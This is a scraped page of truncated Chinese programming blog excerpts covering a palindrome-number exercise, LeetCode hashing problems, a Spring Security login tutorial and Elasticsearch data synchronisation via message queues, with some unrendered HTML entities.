题目; 这道题看似是很简单的回文数 实则就是很简单的回文数 但是需要注意的一点是负数 可以在开头就进行判断&#xff0c;如果N<0的话就令N-N&#xff0c;将所有数都转成正数就好办了 上代码&#xff1a; #include <iostream> #include<string> #include<…

算法沉淀——哈希算法(leetcode真题剖析)

算法沉淀——哈希算法 01.两数之和02.判定是否互为字符重排03.存在重复元素04.存在重复元素 II05.字母异位词分组 哈希算法&#xff08;Hash Algorithm&#xff09;是一种将任意长度的输入&#xff08;也称为消息&#xff09;映射为固定长度的输出的算法。这个输出通常称为哈希…

Spring Security学习(四)——登陆认证(包括自定义登录页)

前言 和前面的文章隔了很长时间才更新Spring Security系列&#xff0c;主要原因一个是之前太忙了&#xff0c;把项目都忙完了&#xff0c;赶上春节假期&#xff0c;就慢慢研究。Spring Security的体系非常复杂&#xff0c;一口吃不了热豆腐&#xff0c;没办法速成&#xff0c;…

微服务—ES数据同步

目录 数据同步 问题分析 方案1. 同步调用 方案2. 异步通知 方案3. 监听binlog​编辑 各方案对比 案例——利用MQ实现数据同步 步骤1. 导入hotel-admin项目 步骤2. 声明交换机、队列 步骤3. 发送MQ消息 步骤4. 接收MQ消息 步骤5. 测试同步功能 数据同步 elasticsea…